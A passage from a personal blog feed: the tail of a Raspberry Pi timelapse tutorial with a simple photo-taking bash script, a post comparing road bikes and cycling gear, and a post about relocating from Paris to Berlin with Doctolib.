&lt;p&gt;Here, it's pretty much like a nighttime timelapse, except that we don't need as many parameters, the default ones should normally do a decent job. Also, since taking a picture is here much more faster, we must schedule the shots. Every 20 or 30 seconds is usually a safe bet. Since we can't predict with certainty how long taking the picture will take, in order to take timely shots, we must run a script in the background to take the photo and wait x seconds in an infinite loop:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;while&lt;/span&gt; true&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; ./take-pic.sh&lt;span class="p"&gt;;&lt;/span&gt; sleep &lt;span class="m"&gt;20&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And the file &lt;code&gt;./take-pic.sh&lt;/code&gt; (don't forget to &lt;code&gt;chmod +x ./take-pic.sh&lt;/code&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Taking pic...&amp;quot;&lt;/span&gt;
&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;date -u +&lt;span class="s1"&gt;&amp;#39;%Y-%m-%dT%H:%M:%S&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;.jpg&amp;quot;&lt;/span&gt;
raspistill -q &lt;span class="m"&gt;100&lt;/span&gt; -rot &lt;span class="m"&gt;180&lt;/span&gt; -n -awb sun -co &lt;span class="m"&gt;20&lt;/span&gt; -o &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
date
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/CxOuNB-NVDQ?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/9GTVajBlVuM?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;That's it for today!&lt;/p&gt;</content><category term="Computers"></category><category term="raspberry pi"></category></entry><entry><title>Bikes And Cycling Gear</title><link href="https://romainpellerin.eu/bikes-and-cycling-gear.html" rel="alternate"></link><published>2020-04-20T01:30:00+02:00</published><updated>2025-03-27T11:33:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2020-04-20:/bikes-and-cycling-gear.html</id><summary type="html">&lt;p&gt;A list of bikes and cycling gear&lt;/p&gt;</summary><content type="html">&lt;p&gt;Here is a list of good bikes and cycling gear that I am considering buying some day.&lt;/p&gt;
&lt;p&gt;First, some vocabulary to know about frames:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;AL usually means an Aluminum frame&lt;/li&gt;
&lt;li&gt;CF means a Carbon Fiber frame&lt;/li&gt;
&lt;li&gt;SL means Super Light&lt;/li&gt;
&lt;li&gt;SLX stands for Super Light Extreme&lt;/li&gt;
&lt;li&gt;WMN means it meant for women&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="bikes"&gt;Bikes&lt;/h1&gt;
&lt;h2 id="famous-and-commong-bike-brands"&gt;Famous and commong bike brands&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Specialized&lt;/li&gt;
&lt;li&gt;Trek&lt;/li&gt;
&lt;li&gt;Cannondale&lt;/li&gt;
&lt;li&gt;Giant&lt;/li&gt;
&lt;li&gt;BMC&lt;/li&gt;
&lt;li&gt;Cube&lt;/li&gt;
&lt;li&gt;Felt&lt;/li&gt;
&lt;li&gt;GT Bicycle&lt;/li&gt;
&lt;li&gt;Kona&lt;/li&gt;
&lt;li&gt;Lapierre&lt;/li&gt;
&lt;li&gt;Merida&lt;/li&gt;
&lt;li&gt;Pinarello&lt;/li&gt;
&lt;li&gt;Ridley&lt;/li&gt;
&lt;li&gt;Scott&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="https://www.bikeradar.com/features/pro-bike/tour-de-france-bikes/"&gt;Here are the bikes on the Tour de France.&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="bikes-i-am-considering"&gt;Bikes I am considering&lt;/h2&gt;
&lt;h3 id="road"&gt;Road&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.cyclos-madic.com/choisirsonvelo.htm"&gt;How to choose the right frame size&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;General rule of thumb: the longer the reach and the shorter the stack, the more aggressive the bike. Likewise, the more the head angle is closer to 90 degrees and the smaller the wheel base is (long wheel base is for increaed stability), the more aggressive it is.&lt;/p&gt;
&lt;style&gt;
table { border-collapse: collapse; }
th { background-color: #ccc; }
tr:nth-child(even) { background-color: #eee; }
th, td { border: 1px solid black; }
&lt;/style&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Reference&lt;/th&gt;
&lt;th&gt;Price&lt;/th&gt;
&lt;th&gt;Weight&lt;/th&gt;
&lt;th&gt;Type of brakes&lt;/th&gt;
&lt;th&gt;Groupset&lt;/th&gt;
&lt;th&gt;Brand&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.alltricks.fr/F-41505-velos-route-_-cyclocross-_-triathlon/P-1156884-velo_de_route_bmc_teammachine_alr_two_shimano_tiagra_10v_700_mm_gris_jaune_fluo_2020"&gt;BMC Teammachine ALR&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,299 euros&lt;/td&gt;
&lt;td&gt;✅ 9.16 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;❌ Shimano Tiagra&lt;/td&gt;
&lt;td&gt;BMC&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.bike24.com/p2342296.html?menu=1000,173,157"&gt;Cannondale CAAD Optimo&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,079 euros&lt;/td&gt;
&lt;td&gt;✅ 8.9 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Cannonale&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.canyon.com/en-de/road-bikes/endurance-bikes/endurace/endurace-al-7.0/2392.html?dwvar_2392_pv_rahmenfarbe=RD%2FBK"&gt;Canyon Endurace AL 7.0&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,099 euros&lt;/td&gt;
&lt;td&gt;✅ 8.21 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Canyon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.canyon.com/en-de/road-bikes/endurance-bikes/endurace/endurace-cf-7.0/2508.html?dwvar_2508_pv_rahmenfarbe=RD%2FWH"&gt;Canyon Endurace CF 7.0&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,399 euros&lt;/td&gt;
&lt;td&gt;✅ 7.96 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Canyon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.bike24.com/p2188261.html?menu=1000,173,157"&gt;CUBE ATTAIN GTC Pro 105 - Carbon Roadbike - 2019&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,249 euros&lt;/td&gt;
&lt;td&gt;✅ 8.4 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Cube&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.cube.eu/fr/2020/bikes/road/road-race/attain/cube-attain-greynflashyellow-2020/"&gt;Cube Attain&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 849 euros&lt;/td&gt;
&lt;td&gt;✅ 9.6 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;❌ Shimano Claris&lt;/td&gt;
&lt;td&gt;Cube&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.wigglesport.de/felt-fr30-rennrad-2019/"&gt;Felt FR30 road bike (2019)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,119 euros&lt;/td&gt;
&lt;td&gt;✅ 8.3 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Felt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.wigglesport.de/felt-fr40-rennrad-2019/"&gt;Felt FR40 road bike (2019)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 849 euros&lt;/td&gt;
&lt;td&gt;✅ 9.1 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;❌ Shimano Tiagra&lt;/td&gt;
&lt;td&gt;Felt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.wigglesport.de/felt-fr5-rennrad-2019/"&gt;Felt FR5 road bike (2019)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,199 euros&lt;/td&gt;
&lt;td&gt;✅ 8.26 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105 R7000 11-speed&lt;/td&gt;
&lt;td&gt;Felt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.bike24.com/p2347326.html?menu=1000,173,157"&gt;FOCUS IZALCO RACE 9.7 105 Roadbike&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,449 euros&lt;/td&gt;
&lt;td&gt;✅ 8.1 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Focus&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.giant-bicycles.com/fr/contend-sl-1"&gt;Giant Contend SL 1 2019&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1249 euros&lt;/td&gt;
&lt;td&gt;✅ 9.04 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105 (except brakes)&lt;/td&gt;
&lt;td&gt;Giant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.giant-bicycles.com/fr/tcr-advanced-2--pc-"&gt;Giant TCR Advanced 2 (PC) 2019&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;❌ 1620 euros&lt;/td&gt;
&lt;td&gt;✅ 7.95 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Giant&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.specialized.com/de/en/allez-elite/p/171313?color=274140-171313"&gt;Specialized Allez Elite&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 1,299 euros&lt;/td&gt;
&lt;td&gt;✅ 8.83 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105 (except brakes)&lt;/td&gt;
&lt;td&gt;Specialized&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.trekbikes.com/us/en_US/bikes/road-bikes/performance-road-bikes/domane/domane-al/domane-al-3/p/23526/"&gt;Trek Domane AL 3&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 849 euros&lt;/td&gt;
&lt;td&gt;✅ 9.75 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;❌ Shimano Sora&lt;/td&gt;
&lt;td&gt;Trek&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.decathlon.fr/p/velo-route-cyclotouriste-triban-rc520-frein-disque/_/R-p-301734?mc=8502389&amp;amp;c=BLEU"&gt;Triban RC520 (road version)&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 850 euros&lt;/td&gt;
&lt;td&gt;❌ 10.8 kg&lt;/td&gt;
&lt;td&gt;❌ Disc&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Decathlon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.decathlon.fr/p/velo-de-route-van-rysel-ultra-rcr-af-shimano-105-noir/_/R-p-303344?mc=8529249&amp;amp;c=NOIR"&gt;VÉLO DE ROUTE VAN RYSEL ULTRA RCR AF SHIMANO 105 NOIR&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 900 euros&lt;/td&gt;
&lt;td&gt;✅ 8.9 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Decathlon&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href="https://www.decathlon.fr/p/velo-route-edr-af-105-noir/_/R-p-305449?mc=8529300&amp;amp;c=NOIR"&gt;VELO ROUTE EDR AF 105 noir&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;✅ 999 euros&lt;/td&gt;
&lt;td&gt;✅ 8.8 kg&lt;/td&gt;
&lt;td&gt;✅ Rim&lt;/td&gt;
&lt;td&gt;✅ Shimano 105&lt;/td&gt;
&lt;td&gt;Decathlon&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4 id="short-list"&gt;Short List&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.canyon.com/en-de/road-bikes/endurance-bikes/endurace/endurace-cf-7.0/2508.html?dwvar_2508_pv_rahmenfarbe=RD%2FWH"&gt;Canyon Endurace CF 7.0&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.bikeradar.com/reviews/bikes/road-bikes/canyon-endurace-al-7-2020review/"&gt;https://www.bikeradar.com/reviews/bikes/road-bikes/canyon-endurace-al-7-2020review/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-al-7-0-disc"&gt;https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-al-7-0-disc&lt;/a&gt; (2018): good&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-al-7-0"&gt;https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-al-7-0&lt;/a&gt; (2019): not so good&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-disc-7-0"&gt;https://www.cyclingweekly.com/reviews/road-bikes/canyon-endurace-disc-7-0&lt;/a&gt; (2020): good&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-1000/"&gt;https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-1000/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-2000/"&gt;https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-2000/&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.bike24.com/p2188261.html?menu=1000,173,157"&gt;CUBE ATTAIN GTC Pro 105 - Carbon Roadbike - 2019&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Geometry is not as aggressive as the other two&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyclingweekly.com/reviews/road-bikes/cube-attain-gtc-race"&gt;https://www.cyclingweekly.com/reviews/road-bikes/cube-attain-gtc-race&lt;/a&gt;: review is on a model with disc brakes and Ultegra Shimano, which qualifies it as a comfort-oriented bike&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=9UCbv6FzJSM"&gt;https://www.youtube.com/watch?v=9UCbv6FzJSM&lt;/a&gt; (oct 2018): good comfy bike&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://road.cc/content/buyers-guide/your-complete-guide-cubes-road-bike-range-252760"&gt;https://road.cc/content/buyers-guide/your-complete-guide-cubes-road-bike-range-252760&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href="https://www.bike24.com/p2347326.html?menu=1000,173,157"&gt;FOCUS IZALCO RACE 9.7 105 Roadbike&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On the &lt;a href="https://www.focus-bikes.com/de_en/186026-izalco-race-9-7"&gt;official Focus website&lt;/a&gt;, the wheels are different (though they are the same on &lt;a href="https://www.focus-bikes.com/de_en/95693-izalco-race-9-7"&gt;this archive page&lt;/a&gt;) as well as the weight (8.65, 8.1 on &lt;a href="https://www.bike24.com/p2347326.html?menu=1000,173,157"&gt;bike24&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-2000/"&gt;https://www.bikeradar.com/advice/buyers-guides/best-road-bike-under-2000/&lt;/a&gt;: positive review&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyclingweekly.com/group-tests/focus-bikes-352805"&gt;https://www.cyclingweekly.com/group-tests/focus-bikes-352805&lt;/a&gt; (oct 2019): &lt;em&gt;The Focus Izalco Race aims to take a speedy, racing chassis to the masses.&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bikeradar.com/reviews/bikes/road-bikes/focus-izalco-race-review/"&gt;https://www.bikeradar.com/reviews/bikes/road-bikes/focus-izalco-race-review/&lt;/a&gt; (nov 2018): excellent appart from the wheels but they have changed since 2018&lt;/li&gt;
&lt;li&gt;&lt;a href="https://road.cc/content/review/235885-focus-izalco-race-carbon-sora"&gt;https://road.cc/content/review/235885-focus-izalco-race-carbon-sora&lt;/a&gt; (jan 2018): excellent review on a different model&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="more-references"&gt;More references&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.globalcyclingnetwork.com/"&gt;https://www.globalcyclingnetwork.com/&lt;/a&gt;: a classic, worldwide&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bikeradar.com/features/bike-of-the-year/"&gt;https://www.bikeradar.com/features/bike-of-the-year/&lt;/a&gt;: excellent list!&lt;/li&gt;
&lt;li&gt;&lt;a href="https://road.cc/"&gt;https://road.cc/&lt;/a&gt;: a classic in UK&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cyclingweekly.com/reviews"&gt;https://www.cyclingweekly.com/reviews&lt;/a&gt;: a good one&lt;/li&gt;
&lt;li&gt;&lt;a href="https://99spokes.com/"&gt;https://99spokes.com/&lt;/a&gt;: to compare bike geometries&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="where-to-buy"&gt;Where to buy&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.bike24.com/"&gt;https://www.bike24.com/&lt;/a&gt;: a classic, in Germany&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.wigglesport.de/rennrader/felgenbremse-bremsentyp/?mi=600&amp;amp;ma=1300&amp;amp;omi=310&amp;amp;oma=8000&amp;amp;cc=EUR&amp;amp;bc=EUR&amp;amp;ris=1&amp;amp;o=3"&gt;https://www.wigglesport.de/rennrader/felgenbremse-bremsentyp/?mi=600&amp;amp;ma=1300&amp;amp;omi=310&amp;amp;oma=8000&amp;amp;cc=EUR&amp;amp;bc=EUR&amp;amp;ris=1&amp;amp;o=3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bike-discount.de/en/road-bike/"&gt;https://www.bike-discount.de/en/road-bike/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.probikeshop.com/en/gb/road/complete-bikes-road-bikes-c10084.html"&gt;https://www.probikeshop.com/en/gb/road/complete-bikes-road-bikes-c10084.html&lt;/a&gt;: they are very expensive!&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.alltricks.fr/C-40958-route/N-774769-type~velo-de-route/N-790051-type-de-transmission~mecanique/N-774906-poids~moins-de-10-kg/N-774915-freinage~sur-jante?N774913=groupe~shimano-105"&gt;https://www.alltricks.fr/C-40958-route/N-774769-type~velo-de-route/N-790051-type-de-transmission~mecanique/N-774906-poids~moins-de-10-kg/N-774915-freinage~sur-jante?N774913=groupe~shimano-105&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="gravel"&gt;Gravel&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Triban RC520 (gravel version)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="cycling-gear"&gt;Cycling gear&lt;/h1&gt;
&lt;h2 id="puncture-proof-tires"&gt;Puncture proof tires&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Continental Grand Prix 5000 (folding tires, clincher type) (&lt;a href="https://www.reddit.com/r/cycling/comments/fz64s6/looking_for_new_tires_should_i_get_gp5000_or_gp/"&gt;why&lt;/a&gt;, and &lt;a href="https://road.cc/content/forum/270993-continental-gp5000-or-4-season-all-year-riding"&gt;why&lt;/a&gt;) for road bikes&lt;/li&gt;
&lt;li&gt;Schwalbe marathon plus (very heavy though) for commute bikes&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="bike-computers"&gt;&lt;a href="https://www.telegraph.co.uk/health-fitness/body/best-gps-cycle-computers/"&gt;Bike computers&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://fr-eu.wahoofitness.com/devices/bike-computers/gps-elemnt-bolt"&gt;Ordinateur de vélo GPS ELEMNT BOLT&lt;/a&gt;: no turn by turn navigation from a Strava route export, &lt;a href="https://www.youtube.com/watch?v=ccDMxcW1BuM"&gt;you have to export from Ride with GPS or Komoot&lt;/a&gt;. Appart from that, seems like the best one on the market.&lt;/li&gt;
&lt;li&gt;Garmin Edge computers (530 is affordable, 830 is very expensive)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="smartphone-mount"&gt;Smartphone mount&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.quadlockcase.eu/"&gt;Quad Lock&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="lights"&gt;Lights&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Sigma Buster 700 (front light)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="route-planner"&gt;Route planner&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Strave&lt;/li&gt;
&lt;li&gt;Komoot&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ridewithgps.com/"&gt;Ride with GPS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="cameras"&gt;Cameras&lt;/h1&gt;
&lt;h2 id="360-degrees"&gt;360 degrees&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Rylo&lt;/li&gt;
&lt;li&gt;Insta360&lt;/li&gt;
&lt;li&gt;Garmin VIRB(R) 360&lt;/li&gt;
&lt;/ul&gt;</content><category term="Bikes"></category><category term="bike"></category></entry><entry><title>Living in Germany: A Doctoliber's Journey To Berlin</title><link href="https://romainpellerin.eu/living-in-germany-a-doctolibers-journey-to-berlin.html" rel="alternate"></link><published>2020-02-13T17:00:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2020-02-13:/living-in-germany-a-doctolibers-journey-to-berlin.html</id><summary type="html">&lt;p&gt;About my professional relocation&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://medium.com/@romain.pellerin/a-doctolibers-journey-to-berlin-8e791383aa00"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;„Ich bin ein Berliner” — myself.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Well, this has been true for the past two months at least.&lt;/p&gt;
&lt;p&gt;Before that, I lived in Paris for more than two years. It was cool: Paris is an amazing city to live in and there’s so much to see and do. Everything is constantly in motion and busy. Life is intense over there. More importantly, working for Doctolib France is truly awesome!&lt;/p&gt;
&lt;p&gt;But over time I grew tired of it, not being a native Parisian myself. I missed living abroad, I was seeking new challenges, I needed to get out of my comfort zone — and let’s be honest: I wanted a bigger and cheaper apartment.&lt;/p&gt;
&lt;p&gt;Back in 2018, Doctolib opened its second tech center, right here in Berlin. What started as a 2-person adventure back then is now a rapidly growing engineering hub with more than 40 people, including 20 software engineers (and counting).&lt;/p&gt;
&lt;p&gt;I pretty much knew when the Berlin tech center opened that I’d want to relocate at some point. I had yet to experience Berlin as a local though. so that’s what I did in March 2019. I was able to join a feature team in Berlin as a full-time member for two weeks through a Doctolib program called “&lt;em&gt;Vis Ma Vie&lt;/em&gt;” (Live My Life). This program is a great way to discover processes that different teams use and to also learn more about unfamiliar business scopes. At the end of those two weeks, I knew Berlin would be the next step in my life.&lt;/p&gt;
&lt;p&gt;I started setting things in motion once I got back to Paris. I wanted my move to be as smooth as possible, for both my work-wise and personal life. The first step was to tell my manager about my plans. With the VPs of Engineering in France and Germany, we laid out a more concrete plan for me. We decided which team I’d join, based on my preferences and where I’d be most helpful. A few months later I was asked to choose a date for my first day in the Berlin office.&lt;/p&gt;
&lt;p&gt;As time went by, it felt like things were accelerating. I first had to plan my actual move. Moving furniture and a bunch of boxes between countries is not easy. Then I needed to find a place I’d call home for at least a few weeks while settling down in Berlin. Doctolib helps with the relocation costs (flight, movers and temporary housing mostly) as well as the services of a relocating coach through &lt;a href="https://www.expath.de/"&gt;Expath.de&lt;/a&gt;. This made my whole experience much easier.&lt;/p&gt;
&lt;p&gt;As my involvement with my French team at Doctolib began to wind down, I worked more with my future team in Berlin, remotely. My last day in the Paris office was bittersweet. I was sad to leave people I loved but excited about my new life to come! And then it happened!&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/doctolib-berlin/cargo-bike.jpg" alt="Me on a cargo bike" /&gt;
&lt;figcaption&gt;Me adapting to life in Berlin&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Now, a few weeks in, I find myself looking out the window for inspiration on how to end this article. But all I see is darkness. Yes, sunset is an hour earlier than in Paris here. 😂 That’s something I’m still not used to.&lt;/p&gt;
&lt;p&gt;One thing is certain: I’m already in love with Berlin and happy to be part of Doctolib’s adventure in Germany!&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;Come join us! Come have fun and revolutionize health care in Europe! &lt;a href="https://careers.doctolib.de/"&gt;🇩🇪&lt;/a&gt; &lt;a href="https://careers.doctolib.fr/"&gt;🇫🇷&lt;/a&gt; Or you can also &lt;a href="http://bit.ly/doctotechlife"&gt;subscribe to our tech newsletter&lt;/a&gt;. :)&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://medium.com/@romain.pellerin/a-doctolibers-journey-to-berlin-8e791383aa00"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content><category term="About me"></category><category term="berlin"></category><category term="germany"></category><category term="doctolib"></category></entry><entry><title>Living in Germany: Moving To Berlin</title><link href="https://romainpellerin.eu/living-in-germany-moving-to-berlin.html" rel="alternate"></link><published>2020-01-12T18:00:00+01:00</published><updated>2023-07-22T19:43:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2020-01-12:/living-in-germany-moving-to-berlin.html</id><summary type="html">&lt;p&gt;Everything one has to go through when relocating to Berlin -- alternatve title: All the shit I went trough&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/FgTntxySQBY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

